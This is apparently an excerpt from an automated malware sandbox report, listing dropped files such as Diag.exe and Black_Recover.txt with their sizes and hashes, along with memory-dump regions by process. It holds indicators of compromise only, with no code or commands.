d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\ProgramData\Black_Recover.txt

Filesize
554B

MD5
87ca8cea5510cfcb42e6674d7aa9ef59

SHA1
ef5dd9f0663e769654816e361344133f7d480300

SHA256
da777873d645fec9054e02b37c6e156e779e778ef6a5dd27b4a05a40f68b021d

SHA512
690c49d82649bb9356f986b903efb17a6998f94f53273876e4da3b621fd2c7c6e32c50f318e86cb7e8d96b24fd953a20d410deb71905d96cb719660931abd800

Download Submit
C:\ProgramData\Diag.exe

Filesize
6KB

MD5
39728325879572ffe56a194319f2731f

SHA1
3898a219352dd3aedc54ff924b01317107c9ce2f

SHA256
8e3ff1907d973d91167c2d74ac8414496d7f430687eef52e3201721e01513761

SHA512
7d80af3e2df1c02bfda76e5ada4b4ce25921418cfcd7f26434293e746968f4187f6c9cf5bbb1c7c4703117eaabdd958700f7b1cefcfa44bd11afe95ad7f1599b

Download Submit
C:\ProgramData\Diag.exe

Filesize
6KB

MD5
39728325879572ffe56a194319f2731f

SHA1
3898a219352dd3aedc54ff924b01317107c9ce2f

SHA256
8e3ff1907d973d91167c2d74ac8414496d7f430687eef52e3201721e01513761

SHA512
7d80af3e2df1c02bfda76e5ada4b4ce25921418cfcd7f26434293e746968f4187f6c9cf5bbb1c7c4703117eaabdd958700f7b1cefcfa44bd11afe95ad7f1599b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SK5BM84QQ6I2RJFYOWNL.temp

Filesize
7KB

MD5
5836772ea003a5298b48c9664f9bb2e1

SHA1
29830dca2d68d3bc2ecca975a3907f7d770c81b4

SHA256
40b04afd47861b9af185c55d8ee670a9aeaa4c3cc98398b60ad0d451843e2a69

SHA512
9e4e2e50d811bdfbf15abb55c0081549eaf63020dab6c54c376c848fd0a8cf5bd221f91fe2d5237a890fa6536c2253ec4ba7d461bfd57620625dccba64244e93

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XM8ZBX40FDQ0I7Y5XUPG.temp

Filesize
7KB

MD5
93aaddaa3e0931514726f4c5f09a7665

SHA1
2d2e38fcec1d2b80c1a73e16009b4792e8cf714b

SHA256
abc6bf848b8034ffa522cfaf5b0d879a552ca22a9dfe454f6f08441e142ce477

SHA512
47e376ec9e474236b22cb55be4d53f8e62a66dee052444a139d7b998a6a820d8d84455eb3f5d2101718fb5aa0d907d9be1c409cb934d43945744b32413f0e98e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
93aaddaa3e0931514726f4c5f09a7665

SHA1
2d2e38fcec1d2b80c1a73e16009b4792e8cf714b

SHA256
abc6bf848b8034ffa522cfaf5b0d879a552ca22a9dfe454f6f08441e142ce477

SHA512
47e376ec9e474236b22cb55be4d53f8e62a66dee052444a139d7b998a6a820d8d84455eb3f5d2101718fb5aa0d907d9be1c409cb934d43945744b32413f0e98e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
93aaddaa3e0931514726f4c5f09a7665

SHA1
2d2e38fcec1d2b80c1a73e16009b4792e8cf714b

SHA256
abc6bf848b8034ffa522cfaf5b0d879a552ca22a9dfe454f6f08441e142ce477

SHA512
47e376ec9e474236b22cb55be4d53f8e62a66dee052444a139d7b998a6a820d8d84455eb3f5d2101718fb5aa0d907d9be1c409cb934d43945744b32413f0e98e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
93aaddaa3e0931514726f4c5f09a7665

SHA1
2d2e38fcec1d2b80c1a73e16009b4792e8cf714b

SHA256
abc6bf848b8034ffa522cfaf5b0d879a552ca22a9dfe454f6f08441e142ce477

SHA512
47e376ec9e474236b22cb55be4d53f8e62a66dee052444a139d7b998a6a820d8d84455eb3f5d2101718fb5aa0d907d9be1c409cb934d43945744b32413f0e98e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
5836772ea003a5298b48c9664f9bb2e1

SHA1
29830dca2d68d3bc2ecca975a3907f7d770c81b4

SHA256
40b04afd47861b9af185c55d8ee670a9aeaa4c3cc98398b60ad0d451843e2a69

SHA512
9e4e2e50d811bdfbf15abb55c0081549eaf63020dab6c54c376c848fd0a8cf5bd221f91fe2d5237a890fa6536c2253ec4ba7d461bfd57620625dccba64244e93

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
5836772ea003a5298b48c9664f9bb2e1

SHA1
29830dca2d68d3bc2ecca975a3907f7d770c81b4

SHA256
40b04afd47861b9af185c55d8ee670a9aeaa4c3cc98398b60ad0d451843e2a69

SHA512
9e4e2e50d811bdfbf15abb55c0081549eaf63020dab6c54c376c848fd0a8cf5bd221f91fe2d5237a890fa6536c2253ec4ba7d461bfd57620625dccba64244e93

Download Submit
F:\$RECYCLE.BIN\S-1-5-21-1024678951-1535676557-2778719785-1000\desktop.ini

Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
F:\$RECYCLE.BIN\S-1-5-~1\desktop.ini

Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
\ProgramData\Diag.exe

Filesize
6KB

MD5
39728325879572ffe56a194319f2731f

SHA1
3898a219352dd3aedc54ff924b01317107c9ce2f

SHA256
8e3ff1907d973d91167c2d74ac8414496d7f430687eef52e3201721e01513761

SHA512
7d80af3e2df1c02bfda76e5ada4b4ce25921418cfcd7f26434293e746968f4187f6c9cf5bbb1c7c4703117eaabdd958700f7b1cefcfa44bd11afe95ad7f1599b

Download Submit
memory/216-8770-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/216-8764-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/216-8776-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/216-8777-0x0000000002770000-0x00000000027B0000-memory.dmp

Filesize
256KB

Download
memory/216-8763-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/216-8781-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/1116-8778-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/1116-8786-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/1116-8789-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/1116-8787-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/1116-8780-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/1116-8779-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/2008-72-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2008-82-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2008-80-0x0000000002810000-0x0000000002850000-memory.dmp

Filesize
256KB

Download
memory/2008-76-0x0000000002810000-0x0000000002850000-memory.dmp

Filesize
256KB

Download
memory/2008-79-0x0000000002810000-0x0000000002850000-memory.dmp

Filesize
256KB

Download
memory/2008-67-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2308-8782-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/2308-8783-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/2308-8792-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/2308-8788-0x0000000073220000-0x00000000737CB000-memory.dmp

Filesize
5.7MB

Download
memory/2308-8785-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/2308-8784-0x00000000028D0000-0x0000000002910000-memory.dmp

Filesize
256KB

Download
memory/2780-75-0x0000000002800000-0x0000000002840000-memory.dmp

Filesize
256KB

Download
memory/2780-77-0x0000000002800000-0x0000000002840000-memory.dmp

Filesize
256KB

Download
memory/2780-73-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2780-83-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2780-70-0x0000000002800000-0x0000000002840000-memory.dmp

Filesize
256KB

Download
memory/2780-66-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2796-78-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

Download
memory/2796-71-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2796-68-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2796-81-0x00000000737D0000-0x0000000073D7B000-memory.dmp

Filesize
5.7MB

Download
memory/2796-74-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

Download
memory/2796-69-0x00000000026C0000-0x0000000002700000-memory.dmp

Filesize
256KB

Download